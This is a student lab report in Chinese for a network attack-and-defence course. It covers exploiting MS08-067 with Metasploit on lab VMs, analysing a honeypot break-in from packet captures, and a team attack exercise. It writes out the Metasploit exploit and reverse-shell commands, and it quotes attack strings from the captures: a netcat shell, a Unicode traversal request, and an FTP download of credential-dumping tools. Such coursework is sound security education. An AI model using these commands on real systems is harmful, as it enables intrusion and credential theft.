20242825 2024-2025-2 《网络攻防实践》第六周作业
@
一. 实验内容
1.1 实验内容概述
- 动手实践Metasploit windows attacker
使用metasploit软件进行windows远程渗透统计实验:使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权
- 取证分析实践:解码一次成功的NT系统破解攻击。
来自212.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),要求提取并分析攻击的全部过程。
攻击者使用了什么破解工具进行攻击
攻击者如何使用这个破解工具进入并控制了系统
攻击者获得系统访问权限后做了什么
我们如何防止这样的攻击
你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么
- 团队对抗实践:windows系统远程渗透攻击和分析。
攻方使用metasploit选择漏洞进行攻击,获得控制权。(要求写出攻击方的同学信息、使用漏洞、相关IP地址等)
防守方使用wireshark监听获得的网络数据包,分析攻击过程,获取相关信息。
1.2 实验相关知识概述
1. Metasploit
①架构:Metasploit 是一个强大的渗透测试框架,由模块(如漏洞利用模块、辅助模块、载荷模块等)组成。不同模块各司其职,比如漏洞利用模块用于针对特定漏洞发起攻击,载荷模块负责在目标系统上执行特定操作。
②使用流程:使用 Metasploit 进行攻击时,一般流程是先选择合适的漏洞利用模块,然后配置目标系统的相关参数(如 IP 地址),接着选择合适的载荷(比如获取目标系统权限的载荷),最后执行攻击命令。
2.渗透测试
渗透测试是一种在授权情况下,通过模拟黑客攻击手段,对目标系统进行安全评估的方法。它能发现系统存在的安全漏洞,帮助企业和组织提前修复,增强安全性。
3.漏洞原理
例如MS08 - 067 漏洞,是 Windows Server 服务中的 RPC 接口在处理特定请求时存在缓冲区溢出问题,攻击者利用这个漏洞可在目标系统上执行任意代码,进而获取系统控制权。理解漏洞原理是进行渗透攻击和防御的基础。
二. 实验过程
2.1 动手实践Metasploit windows attacker
2.1.1 实验要求
动手实践Metasploit windows attacker
使用metasploit软件进行windows远程渗透统计实验:使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权。
2.1.2 实验过程展示
实验环境配置:
本次实验用到虚拟机为:
具体配置见前面实验。
打开Win2kServer虚拟机,并使用账号/密码:Administrator/mima1234 进行登录。

使用Win+R快捷键打开终端系统:

使用以下命令进行相关地址查询:
ipconfig/all

kali虚拟机:
同样的使用以下命令进行相关地址查询,需要注意的是这里命令改为:
ifconfig

这里需要注意的是,在实验中需要将honey网关打开,因为二者虚拟机不在同一个网段。
若想要互连成功就必须打开网关进行辅助连接。
打开honey虚拟机后使用 账号密码:roo/honey 进行登录。

所需要用到虚拟机总结如下图所示:
| 虚拟机名称 | IP地址 |
|---|---|
| Kali攻击机 | 192.168.200.4 |
| Win2kServer靶机 | 192.168.200.131 |
出现问题
这里出现问题,发现在测试ping连接后kali无法与Win2kServer连接成功,花费很长时间还未解决(还使用seed作为攻击机进行攻击,发现seed中没有此类攻击所需插件,故放弃!)。
最终决定使用另外靶机WinXP进行实验!!!
解决问题
更改为WinXP进行实验!
实验环境配置:
本次实验用到虚拟机为:Kali虚拟机和WinXP虚拟机。
具体配置见前面实验。
打开WinXP虚拟机,并使用账号/密码:Administrator/mima1234 进行登录。
使用Win+R快捷键打开终端系统。
使用以下命令进行相关地址查询:
ipconfig/all

kali虚拟机:
同样的使用以下命令进行相关地址查询,需要注意的是这里命令改为:
ifconfig

这里需要注意的是,与上述实验不同在于此处不需要将honey网关打开,因为二者虚拟机在同一个网段。
互连成功不需要打开网关进行辅助连接。
测试一下连通性,使用ping命令:


发现可以互ping成功,则环境设置成功!
所需要用到虚拟机总结如下图所示:
| 虚拟机名称 | IP地址 |
|---|---|
| Kali攻击机 | 192.168.200.4 |
| WinXP靶机 | 192.168.200.6 |
继续实验
在上一小节中,环境配置完成,继续开展实验。
在Kali虚拟机中使用以下命令打开Metasploit,并启动msfconsole,并进入其控制台界面:
service postgresql start //启动PostgreSQL服务
msfdb init //初始化Metasploit PostgreSQL数据库
msfconsole //启动metasploit
输入密码kali启动PostgreSQL服务:

这里需要注意的是:出现问题,需要使用命令su -进入root终端运行!!!

成功启动数据库:

成功启动metasploit:

使用以下命令搜寻漏洞情况并确定目标:
search ms08_067 //搜寻漏洞情况
use windows/smb/ms08_067_netapi //将ms08_067作为目标漏洞





输入命令 use windows/smb/ms08_067_netapi //将ms08_067作为目标漏洞。

使用以下命令查看有效的攻击载荷:
show payloads





使用以下命令设置攻击的载荷为tcp的反向连接:
set payload generic/shell_reverse_tcp

使用以下命令查看需要设置的参数,即攻击机与靶机的IP地址:
show options


使用以下命令设置攻击机Kali以及靶机WinXP:
set LHOST 192.168.200.4 //kali虚拟机IP地址
set RHOST 192.168.200.6 //WinXP虚拟机IP地址

使用以下命令查看可设置的操作系统类型:
show targets



使用以下命令进行识别以及渗透攻击:
set TARGET 0 //自动识别
exploit //开始渗透

打开wireshark软件:

从wireshark中可以查看此次攻击:

攻击成功!!!
2.2 取证分析实践
2.2.1 实验要求
取证分析实践:成功的NT系统破解攻击
来自212.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),要求提取并分析攻击的全部过程。
本实验需要回答以下5个问题:
1、攻击者使用了什么破解工具进行攻击?
2、攻击者如何使用这个破解工具进入并控制了系统?
3、攻击者获得系统访问权限后做了什么?
4、我们如何防止这样的攻击?
5、你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?
2.2.2 实验过程展示
在学习通下载好snort-0204@0117.log文件后,在Kali中使用wireshark打开进行后续分析。

可以直接将文件拖入kali虚拟机桌面:

单击右键,使用wireshark打开:


整体查看该文件后,发现双方IP地址分别为213.116.251.162和172.16.1.106,且存在大量的HTTP、TCP,以及少量的FTP。
经分析可以得知:213.116.251.162为攻击机,172.16.1.106为靶机。
通过以下几个命令分别查看不同类型的流/包分析。
1. HTTP
① 使用以下命令为筛选条件依次查看HTTP数据流:
ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106 && http


② 跟踪HTTP数据流:

右键选择Follow—>HTTP流查看详细信息:

看到cmd1.exe ?/c+nc+ -l -p 6969 -e+cmd1.exe HTTP/1.1命令,发现端口为6969。

2. TCP
选择跟踪一个数据包的TCP数据流。

①这里决定跟踪eq 7 。
右键选择Follow—>TCP流查看详细信息:


发现存在特殊字符%C0%AF。

在查询相关资料后可知, %C0%AF 为Unicode编码。
由此可以判断:攻击者在SESSION中成功进行了Unicode攻击,打开NT系统并启动文件boot.ini,其request为:GET /guest/default,asp/…%C0%AF./…%C0%AF…/…%C0%AF…/boot.ini HTTP/1.1。
因此可以判断存在Unicode编码漏洞攻击。
②继续跟踪数据流,这里决定跟踪eq 11 。

同上述一样,右键选择Follow—>TCP流查看详细信息:

查看发现有shell语句和"ADM!ROX!YOUR!WORLD"。

在查询相关资料后可知为RDS漏洞。该漏洞可导致攻击者远程执行用户系统的命令,并以设备用户的身份运行,由msadc.pl/msadc2.pl 渗透攻击工具发起的攻击。
根据“ADM!ROX!YOURIWORLD”特征字符串,可以判断此次攻击是由rain forest puppy 编写的 msadc(2).pl 渗透攻击代码所发起的,攻击者从此获取并成功进入了shell。之后,攻击者将会确认目标系统提供Web服务的是ⅡSv4.0,并存在Unicode 和 MDAC RDS 安全漏洞,进行进一步渗透攻击。
③继续跟踪数据流,这里决定跟踪eq 106 。
同上述一样,右键选择Follow—>TCP流查看详细信息。

可以看出到攻击者通过创建了ftpcom脚本,使用ftp连接http://www.nether.net/ ,并以johna2k为用户haxedj00为密码下载 nc.exe、pdump.exe和samdump.dll。


④继续跟踪数据流,这里决定跟踪eq 178 。
查看TCP数据流时发现其是蜜罐主机。
同上述一样,右键选择Follow—>TCP流查看详细信息。

攻击者察觉其目标是一台蜜罐主机,并在此写到这是他见过的最好的蜜罐。

3. 使用 http.request.uri contains "msadc" 进行筛选跟踪

可以看到攻击机成功上传了工具。

4.FTP
筛选跟踪FTP连接,发现直到编号1106才连接成功。


接下来依次回答问题:
1、攻击者使用了什么破解工具进行攻击?
攻击者通过Unicode漏洞,使用了Unicode攻击,还利用msadcs.dll中的RDS漏洞的msadc.pl/msadc2.pl 渗透攻击工具进行了攻击。
2、攻击者如何使用这个破解工具进入并控制了系统?
攻击者利用Unicode攻击和msadcs.dll中RDS漏洞的渗透攻击工具,成功进入了Shell,并获取权限从而控制了系统。
通过Unicode攻击了解到一些被攻击主机操作系统的基本情况,发现无法成功获取系统访问权限后,再利用RDS漏洞进行了SQL注入攻击,最终获取了系统访问权限,并给自己创建了一个高权限的用户,达到控制系统的目的。
3、攻击者获得系统访问权限后做了什么?
攻击者获取了系统权限后,仍然尝试获取本地administrator的权限,因此他进行了各种尝试,试图通过删除SAM数据库中的数据以及将其加入到管理员组中的方式来实现提升自己访问权限的目的。
4、我们如何防止这样的攻击?
可以使用下列方式进行防御此类攻击:
①及时安装系统补丁和更新,以修补已知漏洞,减少攻击面;
②使用入侵检测系统(IDS)和入侵防御系统(IPS)监控和阻止潜在的恶意流量和行为;
③部署网络防火墙和访问控制列表(ACL)限制外部对系统的访问;
④禁用一些平时不用的服务例如RDS;
⑤定期审计系统日志,及时发现异常行为并采取相应的应对措施。;
⑥加强口令策略,包括定期更换口令、设置复杂度要求等,以防止口令被猜解或破解。
5、你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?
我觉得攻击者肯定警觉其目标是一台蜜罐主机。
最后攻击者创建了rfp.txt文件可以体现:攻击者在文件中输入了以下内容,即“我到这才发现了这是蜜罐主机”。该目标主机作为rfp的个人网站,Wcb服务所使用的ⅡS没有更新所发现的MDAC RDS 安全漏洞,很容易让攻击者意识到这绝对是台诱饵。
C:>echo best honeypot i’ve seen till now : )
2.3 团队对抗实践
2.3.1 实验要求
windows系统远程渗透攻击和分析:
攻方使用metasploit选择漏洞进行攻击,获得控制权。
防守方使用wireshark监听获得的网络数据包,分析攻击过程,获取相关信息。
2.3.2 实验过程展示
实验环境配置:
打开编辑->虚拟网络编辑器->更改设置:



为实现在同一网段下,实验双方必须均采用桥接模式或者将Vmnet0设置为桥接模式(注意,由于均是笔记本连接wifi做实验,必须得将桥接的网卡设置为无线网卡,更改为Intel®Wireless-Ac 9560 160MHz,否则将连接不上外界主机网络,导致实验双方不能在同一网段)

打开kali虚拟机网络适配器设置:

更改VMnet0:

更改后进行启动:

打开WinXP虚拟机网络适配器设置进行更改:

同kali一样更改VMnet0:

配置完成后启动并查看IP地址:
WinXP: 192.168.43.203

kali:192.168.43.193

测试连通性:


连通成功!!!
| 虚拟机名称 | IP地址 |
|---|---|
| Kali(鲍恒宇) | 192.168.43.193 |
| Kali(殷余嘉) | 192.168.43.184 |
| WinXP(鲍恒宇) | 192.168.43.203 |
| Win2kServer(殷余嘉) | 192.168.43.105 |
测试双方连通性:

测试自身的连通性:

均连通成功!!!
开始实验
① 攻击实验
在上一小节中,环境配置完成,继续开展实验。
总结环境如下:
| 虚拟机名称 | IP地址 |
|---|---|
| Kali攻击机(鲍恒宇) | 192.168.43.193 |
| Win2kServer靶机(殷余嘉) | 192.168.43.105 |
根据上述实验一中的实验过程,对对方IP地址的Win2kServer靶机进行攻击。
在Kali虚拟机中使用以下命令打开Metasploit。
msfconsole



使用以下命令调用MS08-067漏洞以实现相关的攻击,从而利用MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权:
use exploit/windows/smb/ms08_067_netapi

使用以下命令显示可用的攻击负载:
show payloads

使用以下命令,选择以下攻击负载以实现反向连接:
set payload generic/shell_reverse_tcp

使用以下命令进行远程渗透攻击相关信息的设置(即设置攻击目标IP,设置本机IP,再使用show options查看设置的信息):
set LHOST 192.168.43.193
set RHOST 192.168.43.105
show options



使用以下命令进行攻击:
exploit
这里出现问题,显示攻击无法成功???

最后发现在设置靶机攻击机IP地址时输入反了!!!

重新进行攻击。
使用以下命令进行远程渗透攻击相关信息的设置(即设置攻击目标IP,设置本机IP,再使用show options查看设置的信息,exploit进行攻击):
set LHOST 192.168.43.193
set RHOST 192.168.43.105
show options
exploit //进行攻击



攻击成功,进入对方的主机,利用以下命令进行对方ip的查看,成功获取。
ipconfig

使用以下命令在对方主机中创建文件夹并进入文件夹:
mkdir bhy
cd bhy

查看对方的主机,能够看见已经成功创建该文件夹:


②防御实验:
在上一小节中,环境配置完成,继续开展实验。
总结环境如下:
| 虚拟机名称 | IP地址 |
|---|---|
| Kali攻击机(殷余嘉) | 192.168.43.184 |
| WinXP靶机(鲍恒宇) | 192.168.43.203 |

被对方攻击后,发现自己的主机中多了对方创建的文件夹yyj!

使用wireshark抓包能够发现对方的TCP流以及各类操作:

三. 学习中遇到的问题及解决
在这次实验中,主要问题有以下几点:
-
问题1:kali无法与Win2kServer连接成功。
-
解决方案:花费很长时间仍不行,最后使用WinXP作为靶机进行实验,实验成功。详情可见2.1.2中第2小节。
-
问题2:在团队实践中攻击实验显示攻击无法成功。
-
解决方案:检查后发现是命令中攻击机与靶机IP地址输入反了,更改后重新攻击即成功。详情可见2.3.2中第2小节。
四.学习感悟、思考等
在本次实验中,实验目标主要是学习掌握网络攻防技术中如何使用msfconsole工具对于靶机的漏洞攻击,并分析了一次成功的NT系统破解攻击,在实验最后还与同学进行了攻防实战的演练。
在实验过程中,我了解到相关的漏洞技术以及防范和应对漏洞攻击的方法,对Windows系统远程渗透攻击的理解进一步加深。
通过这次实验,我加深了对于网络攻防技术的知识学习,进一步巩固了相关知识,为后面开展网络攻防实验打下坚实的基础。
参考资料
https://blog.csdn.net/weixin_55819433/article/details/146334695
https://blog.csdn.net/weixin_55819433/article/details/146058856?spm=1001.2014.3001.5502


浙公网安备 33010602011771号